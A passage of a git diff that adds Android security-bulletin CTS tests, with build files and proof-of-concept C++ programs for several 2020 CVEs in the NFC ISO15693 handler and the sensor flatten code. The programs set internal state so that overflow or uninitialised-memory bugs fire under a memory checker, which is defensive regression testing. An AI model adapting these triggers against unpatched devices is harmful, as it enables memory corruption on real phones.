+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+void* GKI_getbuf(uint16_t size) {
+ void* ptr = malloc(size);
+ if (size == RW_I93_FORMAT_DATA_LEN) {
+ vulnerable_ptr = ptr;
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void* p_buf) {
+ if (p_buf == vulnerable_ptr) {
+ free(p_buf);
+ }
+}
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR*)malloc(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+ p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
+ p_data->status = NFC_STATUS_OK;
+ TIMER_LIST_ENT pFirst = {};
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ p_cb->p_cback(0, event, p_data);
+ free(p_data->data.p_data);
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
new file mode 100644
index 0000000..269c91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0007",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ shared_libs: [
+ "libsensor",
+ ],
+ cflags: [
+ "-DCHECK_UNINITIALIZED_MEMORY",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..78259bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include "hardware/sensors.h"
+#include "sensor/Sensor.h"
+#include "stdlib.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) { return (size == vulnerableSize); }
+
+static sensor_t getTestSensorT() {
+ sensor_t hwSensor = {};
+ hwSensor.name = "Test ";
+ hwSensor.vendor = hwSensor.name;
+ hwSensor.version = 1;
+ hwSensor.handle = 2;
+ hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+ hwSensor.maxRange = 10.f;
+ hwSensor.resolution = 1.f;
+ hwSensor.power = 5.f;
+ hwSensor.minDelay = 1000;
+ hwSensor.fifoReservedEventCount = 50;
+ hwSensor.fifoMaxEventCount = 100;
+ hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+ hwSensor.requiredPermission = "";
+ hwSensor.maxDelay = 5000;
+ hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+ return hwSensor;
+}
+
+int main() {
+ sensor_t hwSensor = getTestSensorT();
+ Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+ vulnerableSize = sensor1.getFlattenedSize();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ void *buffer = malloc(vulnerableSize);
+ if (!buffer) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+ sensor1.flatten(buffer, vulnerableSize);
+ int status = is_memory_uninitialized();
+ free(buffer);
+ return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0037",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+ p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+ p_i93->block_size = 255;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0038",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 30;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
new file mode 100644
index 0000000..16dac28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0039",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
new file mode 100644
index 0000000..6ebc3f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0039/poc.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_UPDATE_LEN;
+ p_i93->block_size = 30;
+ p_i93->rw_length = 1;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
new file mode 100644
index 0000000..cbe6a4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2020-0073",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
new file mode 100644
index 0000000..d6ea446
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <rw_int.h>
+
+extern tRW_CB rw_cb;
+void rw_init(void);
+void rw_t2t_handle_rsp(uint8_t* p_data);
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+int main() {
